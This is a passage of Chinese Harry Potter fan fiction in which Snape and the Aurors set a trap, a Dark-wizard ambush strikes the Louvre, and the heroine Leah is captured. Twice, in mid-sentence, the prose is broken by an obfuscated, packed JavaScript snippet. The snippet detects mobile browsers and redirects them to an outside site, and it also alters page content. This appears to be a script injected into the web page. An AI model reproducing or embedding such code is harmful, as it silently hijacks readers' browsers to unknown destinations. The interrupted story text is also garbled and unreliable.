“看看呐,你们霍格沃茨的那位女孩,确实有些本事。”坐在斯内普右手边的斯塔克洛夫冷不丁地感叹,他眯起眼,视线紧锁那道扎进茂盛树林里的金发身影,“我明明听说她前阵子才在医疗室躺了许久,这才比赛刚开始两分钟,就轻松赶走了几只妖怪。” “没有什么值得大惊小怪的,斯塔克洛夫校长。这只是很普通的七年级学生水平,”斯内普说着,顺手松了松被某人系得有些紧的围巾。随后,他垂下的右手很自然地搭在搁于腿上的左手腕,指尖触到衣袖底下的手环,语调漠然平淡:“难道德姆斯特朗的学生没有这种水平吗?我看未必——” 斯内普的话音刚落,场上扬起一阵砰然的水声,湖中的巨石宛若有生命般猛地挣动,地动山摇间掀起了漫天水雾,吓得那侧的观众席纷纷惊呼,举起魔杖甩出连成片的防护咒语。 才靠近湖岸的德姆斯特朗选手停住动作,僵立在原地,不敢轻举妄动——肯定有什么东西正要苏醒。 只见,一双硕大的红眼睛透过雾气睁开,定定地盯着眼前的非善来客,也将一种狰狞又幽森的压迫感送到场中,令人头皮发麻。 那是海格饲养的炸尾螺,比五年前还要大得多。它刚刚在湖中伪装成一块能让人掉以轻心的岩石,但现在已经彻底清醒过来,尾部长长的、骇人的蜇针高高举在半空,有星点刺目的火星正在尖锐的尾端凝结。 身穿深红色长袍的男孩反应不算慢,许是训练有素。他一手护住脑袋,侧身翻滚,及时躲开扑面而过的火流。待火焰消停,他掉头回转,手里的魔杖迅猛挥动,一道道红或绿的光芒如大雨般无情拍在庞然大物身上。只是,咒语根本奈何不了炸尾螺全身坚硬的白色外甲,它们悉数被反弹回来,擦破了仓皇逃窜的男孩袍角,其中一发切割咒凌厉地击中了他身后的岩石。 石块即刻被打得粉碎,碎石和泥浆溅开的同时,炸尾螺被彻底激怒。一声撼动耳膜的嘶鸣令在场的人都不得不捂住嘴屏息,只能目不转睛地望着炸尾螺的几只后脚愤怒地跺着,两只粗壮的前爪把此时已一塌糊涂的湖沼撕成片片黑泥,愤愤扬至空中——这是它即将进行冲撞的姿势。 男孩没有松懈,就在炸尾螺站起的分秒间,他动作极快地往柔嫩的螺腹抛出一发“四分五裂”。炸尾螺再度咆哮着,因作痛而条件反射地后退,男孩手臂即时一转,以昏睡咒和禁锢咒嵌住这只巨兽。 小山似的炸尾螺倒下了,场上一片哗然,随之而来是山呼海啸般的激荡掌声。 男孩喘匀气站直,用衣袖胡乱抹掉面上的泥渍,骄傲地向观众高举魔杖,显然很享受这种被追捧的感觉。然后,他绕过昏睡的炸尾螺,没有步入安妮所在的深林,而是径直向往前方的沙漠区域行进。 “行云流水的咒语应用,确实精彩。”马克西姆女士也优雅地鼓掌,毫不掩饰她对别校学生的赞赏。 “啧。”可斯内普分明听见斯塔克洛夫咂了咂嘴。 “怎么了,校长?对自己学生的表现不满意?”斯内普侧眸瞥向手边人。 “不,只是感叹,这孩子像是忘记了规则,把时间浪费在这里。我们让他们来这里,可不是狩猎和杀戮的,不是吗?”斯塔克洛夫低沉的嗓音被话里意思显得更沉闷,他的眉毛微微拧紧,蓝灰色的眼眸尽是不满。 “哦?”斯内普的面庞挂上一个似笑非笑的表情,“还有时间,比起驯服一只炸尾螺,也许其他选择更好。” “也许吧。”斯塔克洛夫并没有松开身上那股不悦的气息,他又看了一阵消失在黄沙中的学生,忽而起身,缓慢地拂了拂袖子,“实在是看不下去了。两位,我去一下洗手间。” “慢走,维克托,我们会替你好好看着学生的。”马克西姆女士礼貌地挥了挥手。 斯塔克洛夫的大氅逐渐被涌动的人潮淹没,马克西姆女士收回手和客气的笑容,对上斯内普敛住的脸色。 “我已给他们传信。”斯内普压低声道。他面不改色地拨动一下滑至袖口的手环,眸光在清冷的太阳底下跌进冰点,深如极地冰山之底的暗潮。 远离比赛场的城堡中,待命的傲罗们在接到消息的一刻,便立即分散至各处。 毕竟,几乎所有人都聚集在三强争霸赛赛场的此刻,正是乘虚而入的绝好时机。如果黑巫师们要选在什么时候下手,无疑只有现在了。 虽说原本他们只仍处于怀疑斯塔克洛夫校长身份的阶段,没有想过他会真的是与罗齐尔家族的内应。但是,谨慎一些总不会错。 完全背对比赛区域的高塔五楼露台,蕾雅和汉密尔顿驻守在这里。他们的前方,是位于高处而变得愈发凛冽的寒风,身后,是由巨型钟摆沿着时间的轨迹摆动产生的气流。 一股难以抵抗的寒意顺着脊椎爬在后背,蕾雅不自觉缩了缩被吹起鸡皮疙瘩的脖子。她拢好衣袖,拉高领口,魔杖划出温暖咒的咒语,边对一旁正监视着庭院情况的上司报告:“他回去了。” “才五分钟?”汉密尔顿没有移开监视的眼神,垂在腿侧的魔杖不自觉敲打着,像是在盘算着什么。过了一阵,他正色道:“但如果只是传送个消息或者做点手脚,也足够了。” “是啊,希望我跟校长的猜想不要被证实才好。”蕾雅轻声回应着,重新眺望底下空无一人的校园。视野能够到的最远处,是那日和斯内普一起去过的矮楼,浓稠的背光阴影倾倒而下,透着一种无法用言语形容的诡异和不详。她知道,那片暗影之中也有几个以幻身咒隐去身形的傲罗在巡逻。 不清楚比赛到底持续了多久。她只觉得天光一点点稀薄,远方的山边起了灰白的浓雾。耳边是根本停不下来的风声,它幽幽地吹拂,将露台边上盘绕栏杆和外墙的藤蔓都拨得不安摇摆。虽然并无发现异象,这与平日格格不入的安静和冷冽,却是硬生生把这里渲染成令人难以忍受的紧张氛围。 魔杖在蕾雅的手心攥出一层细密的湿汗,又被寒风夺去温度,变成黏腻的冰冷。 今晚,恐怕是要降温了。 刚这么想着,蕾雅就被墙角传来的魔法阵启动声音惊到,她和汉密尔顿一同回身,条件反射般抬起魔杖。 “艾里克,是我。” 熟悉的嗓音响起,是斯威克。她自虚空现身——与霍格沃茨不同,这所魔法学院城堡内分布了能互相传送的隐形魔法阵,供师生们日常使用。 “当时我让谁帮蕾雅和哈利训练?”斯威克开始确认身份。 “本人。”汉密尔顿回答,跟蕾雅对视一眼,同时放下魔杖,“有什么新情况?” “比赛结束了,三名选手都顺利完成了任务,没有意外。”斯威克踱到栏杆边,探身望了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15122681|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望庭院,“不过,莫尔和哈利确实在大厅发现了一些有意思的东西。” “有意思的东西?”汉密尔顿皱起眉,“具体是……” “跟我来吧,没有必要巡逻了,学生们已经在返回的路上。” 他们返回了傲罗休息室,待到欢呼兴奋的学生们都由三位校长领进礼堂,才悄然踱回主厅,来到靠近布斯巴顿图书馆入口的楼梯拐角。 哈利似乎一直守在这里,蕾雅向靠墙而站的他投去询问的神色,但哈利沉默着把脸转向主任们那侧,没有说话。 斯威克挥了挥魔杖,地板上浮现出一个圆形魔法阵,是跟塔楼里的同样的。圆圈内,刺绣般的纹路织成一张交叠繁复的网,莹白的溢彩辉光被镌刻在那些魔纹上,沿着顺时针的方向缓缓流动。 汉密尔顿蹲下身,端详着法阵片刻,用魔杖划擦过魔法阵边缘,“是被修改过了,做得很细致。这里多了一层咒语。”他用魔杖尖抵在一处花纹,“看到了吗?这里多了一层咒语,一般人不会察觉。” “看来他们是将这个魔法阵连接到他们自己的地方了。”斯威克说,“我先只加一道监视咒语。” 说着,她轻抬手腕,棕色魔杖在空气里勾出一道弧线,地上的纯白光辉颤动一瞬,一圈如细石渐入水波的涟漪抖开在法阵外圈,很快跟随着消浅的法阵消失。 “他没有离开过赛场?”斯威克转过身,面朝站得稍后的埃文斯。 “我不认为有。”埃文斯摇了摇头,“另外几个人也没有见到他离开出入口。” “哈利呢,确定是比赛的时候发现的?”斯威克又问。 哈利走近了些,笃定地点头:“是,就在我跟莫尔就转去东翼的五分钟时间。” “嗯,的确可能是我们之前推测的另一种情况。”斯威克低哼一声,最终将视线落到身侧的年轻傲罗,“蕾雅,麻烦你。” 为了避免过多的怀疑,斯威克特意减少了与斯内普的会面,只保持三天一次的例行汇报,让一切看上都像是傲罗们单纯照顾学生的安全。然而,事实上,这是因为他们有一个绝佳的传信人。 “好。”这位传信人若有所思地抬了抬下巴,“我想,他也有了打算了。” …… 果然降温了。 仅仅半日,整个布斯巴顿就被层叠的朦胧雾气包裹住。 结束最后的值守任务返回住所的时分,大片的枯草已然沾上夜里的寒霜,踩上去是很奇怪的滑腻感。她跟同伴互道了晚安,钻进自己房间所在的那节车厢。 房间里是暖的,斯内普早早点起了壁炉。被烧得透红的木炭轻微爆开,化成跃然舞动的火舌,舔舐着四周的新砖。橘红色的暖光从燃得正旺的木炭间流出,染在伏在案前工作男人的乌发和后背。 他已换上睡衣,披着一件居家的外袍,看来是洗漱过了。 蕾雅挂好外袍,换下靴子,赤脚踩上室内厚实的毛地毯。她揉搓着发凉的双手,慢走到他身边,垂下眼,便目见他紧按着的羊皮纸,一杯尚冒着热气的红茶,还有手边的封蜡烛台。 金属架中的火光跟壁炉是同样的颜色,那之上,液体状的红色封蜡像是一捧化开的无瑕红宝石。 “回来了?”斯内普没有抬头,也不打算阻止她好奇的窥探。 “嗯。”她轻快地问,“你在写信?给邓布利多?” “那只是表面,”斯内普腾出一只手来轻环住她,随即蹙起眉:“怎么这么凉?”他不由分说地将她拉入自己的怀抱里,递给她桌上的热茶。 蕾雅喝着温暖的茶水,整个人又被他的体温和沐浴香氛包围,感到半是安心,半是难为情:“是外面冷,降温了。我去洗个澡就好,别把你也弄凉了。” “不急,”斯内普低声说,手一用力,将她稳稳按在自己腿上,“我想让你也看看这封信。毕竟,一旦寄出去,要面临什么我们也无法预知了。” 任男人的一条手臂缠在她的腰间,她的眼睛已跟随纸上勾出的凌厉笔锋晃动。这下她看明白了,表面上写给邓布利多关于第一场赛事情况的简述,实际上,两页信纸的背后是另一层施加过密咒的隐形墨水。真正的收信人,是魔法部部长金斯莱·沙克尔和马尔福家主卢修斯·马尔福。 得知魔法阵的异常不过数小时,难道他已经想到应对的策略了吗? 蕾雅的内心为男人的缜密心思感叹起来,放好茶杯,反手抚上他的手腕,问到:“唔……你是故意要把这个消息放出去?这样会不会显得有些刻意?……像他们那样狡猾的人,真的会上钩吗?“ “想得越来越好了。”他微不可察地扬了下眉毛,没有吝啬对她的表扬,“晚餐后与马克西姆女士商量过,我们也意识到了这点——所以,我们会让他以为自己是‘窃听’到了这个‘重要消息’。” “啊——!”怀里人再次为这位校长的想法叹出一声,顺着他的思路推测道:“那我觉得,这确实能成功。我明天会跟斯威克主任说。” “好。”斯内普松开她,换过一张羊皮纸,蘸过黑墨,先在懒懒地写下一句象征性寒暄的问候,“蕾雅,还有一件事想告诉你。” “是什么,西弗?”她看他。 他却并不着急开口,只保持着写信的速度。 “在美国的时候,你还记得我那晚突然醒来吗?”良久,他说道。 “当然记得,你说我体温太高。”她没有迟疑地答,“怎么提起这个?” 笔尖在凝出墨点前顿了顿,斯内普似是结束了一个长句,郑重地点下句号,暂时悬起羽毛笔,“其实那晚,我梦到了伏地魔。” 她快速别过头,眉心在这刻挤在一起。 “我记得很清楚,他说,我‘又’背叛了他。”男人接着往下写信。 “又?”这个特意被斯内普加重的词语令她更为困惑。 男人的神情不变,写在纸上的字迹依旧流畅,没有一刻停顿。 这让她的直觉告诉她,斯内普会选择在这时候提起,肯定不是想要得到她的安慰,而是—— “你是想说,你现在明白了,为什么是‘又’了?”不需要过多踌躇,她说出心中所想。 斯内普与此刻转过脸,凝视着怀中人,壁炉的火光映在那白净的脸上,一层模糊颤动的暖色光晕,“不错。”他再度垂眸,利落地折好信件,塞入一只崭新的信封,掂起封蜡勺,将几滴熔蜡落在封口,不紧不慢地盖上封蜡印章,压实。 “只是——”尚带焰火余温的熔蜡一点点凝固,他推开信件,让冷冷的话从喉中淌出,“这一次,不算是背叛。” “当然不是。”他的妻子轻吸一口气,扶上他的前肩。跃动的红火映入她的瞳仁,却不能动摇她对眼前人的坚定与信任。 “这一次,你是要跟我一起,真真正正、光明正大地站在他们的对立面了。准备好了吗,我的校长?” 斯内普闭上眼,然后睁开。他的唇边,微微勾起的弧度仿若某种锋芒。 “迫不及待。” 她听见后浅笑了笑,轻轻吻在他的嘴角,然后起身走向浴室。 不久,趁着磅礴的夜雾,斯内普寄出了这封信。 三天,风声顺利按照他的设想放出。接下来,就看命运,或者说,梅林本人会不会仁慈地让这条大鱼咬钩了。 102.巴黎 “他们从哪里得到这样东西的?” 装饰隆重的布斯巴顿校长室内,气氛沉闷得似是有一朵厚重的乌云盘在那华美的穹顶下方。乌云随着马克西姆女士的怒气猛地增长,黑灰色把四周布满繁锦壁画和深蓝软饰的墙壁都变得黯淡无光,透不过气的凝重。 “这绝对不可能是真的,连尼可·勒梅本人花了几百年都没有找到的东西,怎么会在这个时候出现?” 她脸色铁青,大手狠狠地一拍桌案,震得桌面上的墨水瓶和堆砌的文件都翻倒了。一份被揉皱一角的报纸从杂乱的办公桌一角挣脱,随着云雾飘荡到斯内普的脚边。 伫立在房中的斯内普未有因眼前人的怒气而动容,只是挑起眉抬了抬右手,让那张灰扑扑的纸张轻盈浮起,摊平在眼底。 “卢浮宫本月展讯:神授王权与秘宝——” 原是一份麻瓜报纸的文娱板块,黑白分明的字迹底下是一幅彩色的照片宣传画。画面中,数枚金光璀璨的王室珠宝被摆放于精心设计的缎面绸布,在昏暗的暖灯烘托晕染下,绽出奇异的华光。 其中一枚戒指尤为醒目。那是一只由纯金铸造的指环,四面皆是精巧的戒托,每个戒托上都镶满了三圈的宝石,以细小均匀的珍珠隔开。这五彩流光又共同簇拥着中间一颗珍贵无比的蓝宝石——天青蓝色,通透纯净,胜似一汪圣泉。(1) 这种蓝色很稀有,也恰与马克西姆身后的高椅上的装饰相似,那是布斯巴顿优雅纯粹的代表色。 尽管仅仅是一张印刷照片,这枚戒指依然透过纸面传达出一种神秘、庄严、不容亵渎的仪式感,不太像一件寻常的王室宝物。 “百年后意外重现的王室珍宝,由一位爱国商人慷慨捐赠。这些珍贵遗物,原本存于自中世纪以来便与法国王室密不可分的圣但尼修道院,于战乱中被偷窃……”斯内普看着这张照片的描述,低声念到。他抬起眼眸,眼底掠过一丝错愕,转向满脸急躁的马克西姆女士,“这是?难道是之前您提过的……?” “……正是。”回答从马克西姆女士咬紧的牙关挤出,继而挺直脊背,提高声道:“我们必须阻止这件事,西弗勒斯。这东西绝不能进入法国,我们必须马上将这件事告诉两国傲罗——” 敲门声是在这个时候响起的,打断了马克西姆的话。 没等两个人来得及做出对应,斯塔克洛夫的声音就在门外传来:“不好意思来晚了。也并不是我们故意要打断你们的对话,两位校长。” 随即,校长室的门被推开,一道巨大的身影伴随寒冷的室外空气倏然灌入。斯塔克洛夫大步走进房间,他的眉峰紧蹙,身后还跟着法国魔法部的傲罗主任,莱昂·德拉克鲁瓦。 斯内普与马克西姆飞快交换过眼神,便听到斯塔克洛夫沉声问:“是否发生什么了要事?”他径直来到马克西姆的桌前,目光带有些许逼问的味道:“这听起来像是很不妥,我希望得到您真挚的解释,奥利姆。” “马克西姆女士,”德拉克鲁瓦跟着补充,“如果是有什么突发情况,请立即告诉我们,好尽快布下对策。刚刚听来,似乎是与魔法遗物有关?” 片刻的沉寂横贯。斯内普很确信,方才盘在天花板下的沉云,如今沉降下来,缠住在场的四人。 “两位来得正好。”他回身向前一步,将手中的报纸递给斯塔克洛夫和德拉克鲁瓦,“是与这些东西有关,但具体情况,还烦请马克西姆女士为大家解释。” 马克西姆深叹了一口气,全身像被抽走魔力般重新跌坐回校长椅。她低下头,宽大的肩膀微微塌下,十指抵在一起,趁三人阅读报纸的片刻,陷入沉思。 等到三人再度看向她时,她意志消沉地摊开手掌,选择坦然开口:“诸位,把斯威克主任也叫过来吧,我确实有要向你们坦白——” “不,应该说,向你们求助。我们可能要面临一个大麻烦,关于…… 保管在布斯巴顿地下的东西。” …… 明明是十二月初,天气早就褪去秋日的暖意,可只要是个清澈的朗日,卢浮宫的露台依然座无虚席。 四周人群拥挤,带太阳眼镜的,宽檐帽的,说着全然听不懂语言、高举相机的东方面孔,都挤满了这方狭长的户外空间。不少人甚至特地选择没有被遮阳伞和建筑物阴影覆盖的地方就坐,直接沐浴在太阳的暖光下。 只能说,不愧是热爱晴天的欧洲人吗,蕾雅心想道。 轻轻放下餐盘,她顺势倚靠护栏边的一尊石雕塑。往下眺望,从这里可以看见大半个巍峨的卢浮宫,拥有着百年历史的宫殿建筑再一次见证了新的一天。偌大的广场正中央,透明的玻璃金字塔将巴黎的碧空完好地映照了下来,澄澈得宛若一颗无暇的钻石。 “之前来过卢浮宫吗,蕾雅?”坐在对面的贾斯廷突然问,他双手捧起火鸡胸肉三明治,咬下一大口。 护栏边上的人儿回过身,正巧望见端着餐盘寻找他们的莫尔,便挥了挥手:“莫尔,这边!” 放心确认到莫尔朝他们过来,蕾雅才拉开金属椅子坐下,回答道:“好几次,毕竟我妈妈喜欢逛博物馆嘛。逛的时候,也会跟我和爸爸讲解各种文物的典故,不过——”她拆开湿巾,擦干净手后拿起叉子,挖下一大块酥脆的法式咸派,笑道:“我们俩基本都记不住。” 贾斯廷跟着笑了下,莫尔在这时坐到蕾雅旁边。 果然,她还是没有抵住诱惑,点了犹豫了很久的巧克力蛋糕。它被精心制成了一座小巧的金字塔,外层大概是薄脆的巧克力壳,造型与入口的玻璃金字塔一模一样。 她毫不迟疑地用叉子敲开外层脆皮,轻声感叹一句:“啊,里面原来是慕斯蛋糕啊。……蕾雅,要不要尝一口?”她对正好奇地盯着自己盘中糕点的后辈提议道,将第一口蛋糕递了过去。(2) “既然你都这么说了。”蕾雅牵起感激的笑容,顺从地把蛋糕卷入口中,柔软细腻的慕斯在舌尖即刻融化了,“好好吃,谢谢。” “后悔没点这个,点了马卡龙了吧?”莫尔得意一笑,装作打趣地睨向旁边那位鼓起嘴的人。话音落下,莫尔才打开塑料盖,把香气四溢的橄榄油倒入金枪鱼沙拉。 “我们是不是太惬意了?”贾斯廷忽而说,“……也不清楚他们守在地下,午餐会吃什么。” 他话里所指的是哈利、埃文斯和弗洛拉他们。“救世主”那张在巫师世界人尽皆知的脸,实在不太适合跑到公众面前。毕竟,谁能确定这里有没有混进麻瓜里的黑巫师。 “反正不会饿着他们。”莫尔耸了耸肩,“既然主任们特意让我们装成游客,就别想太多,好好扮演我们的角色。”她一边说,一边把生菜叶送到口中,顺便舔掉嘴角沾上的沙拉酱。 贾斯廷吃完了他的食物,将包装纸和用过的纸巾一同折好,整齐放回餐盘,随后端起热咖啡,“但先不说这里实在是大得难以防范,你们觉得,他们真的会来?” 莫尔仍在咀嚼食物,闻言只将眼珠暗示着晃到蕾雅那边。 蕾雅正努力地把倾斜纸盘上的菠菜和鸡蛋碎拢在一起,听见问题后想了想,嘟哝着答道:“很可能就是这几天,那批展品,已经抵达了。” 这是斯内普在今早以手环告诉她的。 事实上,她还知道那件据说能够破除布斯巴顿地下禁区加护咒的魔法遗物,是卢修斯委托妖精们按照原物精心打造的赝品。这件赝品和其他几件展品,会通过马尔福家与麻瓜世界合作的产业链,被安全运送至卢浮宫仓库,以确保它们在途中不被劫走。 但真正了解遗物是赝品的人,除了一同商榷得出计划的斯内普和马克西姆,也就只有金斯莱、斯威克,以及眼前这位年轻傲罗。 不仅这件事,她还清楚真正的遗物,一直存放在尼可·勒梅为自己打造的隐匿坟墓中,除了他自己,没有人知道到底是位于地球上哪个角落。 另一件事,是斯内普他们不愿冒险让布斯巴顿成为决战地点。虽然卢浮宫同样不会是理想场所,但傲罗们早已布下针对麻瓜的隔离咒语,一旦战斗爆发,所有的麻瓜都会被立刻转移。 更重要的是,考虑到这个场所的特殊性,他们愿意赌一把,赌黑巫师们不会冒险在这座承载着无数魔法宝物和历史遗产的博物馆内肆意破坏。 然而,无论是蕾雅还是斯内普都无法确定的是,他们真的会上钩吗? 亦或可能是,他们会不会早已潜伏在这熙攘的麻瓜博物馆?如同那些蛀空屋梁的虫蚁,在阴影中窥伺,只待一个时机,便倾巢而出。 “你怎么知道?”贾斯廷狐疑的语气将蕾雅的思绪扯回现实。 “她的秘密武器,你忘了?”莫尔抢在蕾雅回答前腾出一只手,扣住身边人的左手,拉到半空晃了晃,“我们真该跟主任提议一下,让傲罗们也配上这个,太实用了。” 午饭结束后,他们依旧保持游客的伪装,在卢浮宫的各个展厅“闲逛”,加强先前布下的监测咒语。 到了傍晚,暮光毫无保留地落到卢浮宫暖白色的石雕和拱廊,迷醉的明灿散射于剔透的金字塔,将其也融入落日金晖。 就在这段期间,身在布斯巴顿的斯内普依旧不时给她传来讯息,询问傲罗们和她自己的情况。 蕾雅比任何一次都要明显地感受到他的担忧,尤其是离开布斯巴顿前,他亲手给她带上那瓶作为她“工作礼物”的魔药。 她听他说,这是他曾花数月改良的万能魔药。不但能补血、疗伤、恢复体力,甚至还能稍微增强魔力与运气。她猜不到斯内普是怎么制作出这种魔药的,只是想到如果拿去量产的话,大概他们这辈子都能衣食无忧了。 但斯内普从来不在乎这些,他追求的东西,似乎要更高更远。 至于究竟是什么,她没有问过他。 蕾雅莫名其妙地开始思念数日不见的丈夫,下意识摸了摸衣服下被她的体温捂暖的魔药。眼前,是临近终场而逐渐安静的画厅,这是她和贾斯廷、莫尔巡逻过后,在入夜前会驻守的展馆。 “Pardon, pourriez-vous m’aider(不好意思,您能帮我一下吗)?” 从几个人后方飘来一句法语,三个人立马警觉转向声音的方向。 搭话的是一位衣着考究、妆容精致的法国女士。那点缀着深红的双唇轻轻一抿,眉眼弯起,有万种雅致与风情流转。她的目光轻柔地扫过三人,最终停留于站在最边上的蕾雅那侧,朝那双碧绿的眼眸点头微笑。 看得出神的蕾雅愣了愣,很自然回了她一个礼貌笑容,才注意到,女人的唇畔有一颗恰到好处的黑痣,更添几分妩媚。 女人用带有口音的英语重复了一遍:“Excuse me. Would you mind taking a photo for us(不好意思,可否帮我们拍个照片)?” 她侧身,轻指不远处一幅嵌有葡萄藤边框的古典名画,旁边还有一位穿着驼色长风衣的棕发男士等在那里。他正忙着调整鼻梁上的墨镜,注意到他们的瞩目后,十分绅士地欠身致意。 贾斯廷颇有风度地往前,伸手准备接过女人递来的相机,温和地用法语回应:“Avec plaisir(很乐意)。” 然而,就在贾斯廷指尖快要碰到相机的一瞬,展馆内的明灯忽然短暂地闪烁了。 根本没时间去判别到底是电路的原因,还是别的什么,蕾雅大喊一声:“别去!贾斯廷!” 顾不上场上麻瓜们的惊异与瞩目,莫尔凛冽地抽出魔杖,下一秒,头顶暗藏的壁灯悉数炸裂。玻璃碎屑夹杂着庞大的魔力洒在头顶,像一场龙卷大雪,卢浮宫防盗警报的尖锐声让麻瓜们慌乱地逃出房间。 “Bonsoir, Aurors(晚上好,傲罗们)。” 借着微弱的地灯,蕾雅明显看到那位女士的笑再也没有了温度,犹如戴上一幅鬼魅面具般阴森。墙边的男人手里的墨镜变成了一根魔杖,露出底下一双透着冰寒、诡异的猩红眼睛。 他的手腕缓缓一扬,霎时间,墙上所有的名画被一股力量撕扯掀起,在空中骤然化成锋利的金属片,与漫天的玻璃碎一起朝傲罗们袭过去。 “跑!蕾雅!去找主任!”莫尔反手一推,甩出一道盔甲护身,硬生生接下急迫的威压。 浅白色的光弧被震退到墙上崩散的刹那,她旁边的年轻傲罗已在原地消失。 蕾雅被地下冷冽的潮气吞没,双脚着地的同时快速施展出幻身咒。 此刻,她已清晰听见警报响彻了整个卢浮宫,接连不断的爆炸声在博物馆的每个角落传来。笼罩在博物馆上空的反麻瓜防护罩不断盛放出白色辉光,将一个又一个无辜的人转移。 与此同时,全场地的反幻影移形咒语就被触发了,紧接而至的是提前布置的魔法陷阱,菲尼克斯之火带来滚滚的热浪与高强的魔法能量,让地底空间不住地轰鸣、震颤。 她拨开衣袖,准备给斯内普传去讯息,低头间却瞥见外袍下摆沾染了一片鲜红,不用细想,是莫尔的血。 “莫尔,贾斯廷……”她喘息着闭眼,向梅林祈祷他们能全身而退,或者至少坚持到其他傲罗到场。但她很清楚,现在不是沉溺于担忧的时候。 「他们来了」 给斯内普传完信,她沿着冰凉的石墙往仓库门口的方向跑去。 远远地,她望到几个身披黑袍的身影闯入正门,他们高举魔杖,把沿途的一切障碍物都炸成碎片,包括——守在仓库入口的埃文斯和另一名傲罗。 一连串魔咒的光辉闪过她的眼前,石墙被轰开一个硕大的豁口,坍塌的天花石板将底下堆砌的保存箱尽数砸碎。木屑和烟尘未来得及消散的须臾,惨烈的嘶吼直刺她的耳膜,紧接着,两道发白的绿光穿透了翻腾的滚尘。 蕾雅用尽全力跑向他们,解开幻身咒,她的魔杖瞄准到其中一个黑巫师。只是还没来得及发出更多的咒语,她眼睁睁地埃文斯那具被绿色咒语击中的躯壳僵硬地倒下,砸在满地石块碎屑之上,一声闷响。 不。 不! 怎么可能,怎么可能?—— 她的瞳孔被震得瑟缩一下,喉咙像被狠扼住了。而这时,手腕却传来微弱的温热。 「这里也遭到了袭击,是德拉克鲁瓦」 什么?布斯巴顿也被袭击了? 是法国傲罗主任?! 这是比埃文斯的死亡更令她感到恐惧的事。如果是法国傲罗主任是罗齐尔家族的内应,这不就意味着他们布置的许多东西、防御体系,或多或少都被对方掌控了吗?而另一方面不得不震惊的是,他们的人数多到可以兼顾两边开战? 那么,一直以来,从法国那边提供过来的情报都是错的。 她暂时压下心头的惊骇和对斯内普那边情况的担忧,回他一句:「不用担心我,照顾自己,敌人比预计多」 没有时间在这里消耗,得马上告诉主任们这个消息。 她强迫自己集中注意力,望向鱼贯涌入地下仓库的那群黑巫师,里面的东西会拖住他们一阵,趁现在,她必须找到斯威克、或者汉密尔顿。 但是,他们在哪里?汉密尔顿应该是守在地下仓库—— “傲罗小姐。”是刚刚在展厅遇到的女人的声音,竟然在就响在她耳边上。 “什……?”什么时候来的?怎么一点气息都没有?! 她还来不及转身,倏地,傲罗握住的魔杖兀自脱开,往后抛到女人的掌心。再接着,她感觉背脊被什么尖锐的东西碰到。 蕾雅扭头怒瞪,果然目见到如鲜血一样的红唇,以及唇边的黑痣。 “别动,”女人的魔杖抵在傲罗的脊椎,“我得到的命令是不能伤害你。” “不过,没了魔杖,你还能做什么呢?”她轻笑着,将傲罗的双手以变出的魔法丝线反绑在身后,“往前走吧。” 蕾雅的双手被勒得作疼,在恍惚里顿了顿,大脑竟然平静地思考着为什么这个人没有夺走自己的性命。毕竟有这样隐去身形接近她的能力,她大概也能不费力气地使出索命咒。 被女人耸着迈出一步,蕾雅低声问道:“你把他们怎么样了?” “他们?谁?”女人的高跟鞋轻巧地绕过地上的碎石,语调轻松地说:“刚刚的两个傲罗?哦,杀了啊,还用问吗?英国的傲罗思想都像你这样单纯?” 连贾斯廷和莫尔也……? 蕾雅咬紧唇,不再说话。她们又前进一段,到达埃文斯尸体所在的仓库入口,她别开脸,不敢去看埃文斯那张英气的脸庞。 傲罗们当然明白这份职业的风险,他们从不敢奢望梅林的眷顾,只敢求于自己的实力,即使直面死亡,亦是不怨不悔的。 堆满数不清藏品的仓库中,黑衣巫师们正在翻找那堆新送来展品,地上还有两具伪装成工作人员的傲罗尸//体。汉密尔顿似乎不在这里,蕾雅粗略数了下,黑巫师大概有十人,他们都带着面纱,忙碌的人潮中间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15158132|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个魁梧的男人。他闻声转过来,面纱下是如狐狸般细长、狡猾的眼睛,只一眼,蕾雅已看得到底下阴霾般盘踞的狠厉和凶残。 “老大,应该就是她。”女人推着蕾雅步进仓库,魔杖一指,一股不能抗拒的冲击撞在她的膝盖。 蕾雅踉跄跪倒,随即,她无名指上的戒指被硬生生扯下,刮得指节灼痛发烫。 女人将戒指递给那男人,魔杖亮起的荧光映出玫瑰金色指环内刻有的两个字母——S.S。 “从斯基特那里灌的吐真剂算是没有白费,只是我都不敢相信,居然真的这么年轻。”男人用别扭的英语嗤笑道,不熟练的语调听着反而成了某种滑稽的嘲弄。 “别惊讶,”他向满脸憎恶的傲罗俯身,每一个从唇边滑出的词都像巨蟒骇人的蛇信:“这可是黑魔王亲口留下的话——斯内普并非完人,他如果活下来,我们必定会对上他。至于击溃他的弱点嘛,朋友、家人,他都是没有的,若非霍格沃茨……” “也可能是女人。”他轻蔑地笑了,“听说,他曾为一个女人向主人求情,卑微得像条摇尾乞怜的狗。恐怕他自己也没想到这样的事,居然还要再来一遍——我都等不及见到他知道自己这费尽心机的安排,到头来竟把自己的爱人推入死路的样子了。” 蕾雅无法辨认眼前的人是不是曾经的食死徒,但她即刻察觉到另外两件事。 一是,他们是从丽塔·斯基特那里得知她和斯内普的关系。二是,斯内普猜测得没错,伏地魔在战前就布下这一切。并且,也如斯内普预料的,一向多疑的黑魔王早就不是完全信任斯内普。 那么,他们不杀她,因为她是对斯内普的筹码。 光是弄明白这个关键,足以让她的怒气愈发如海潮汹涌。 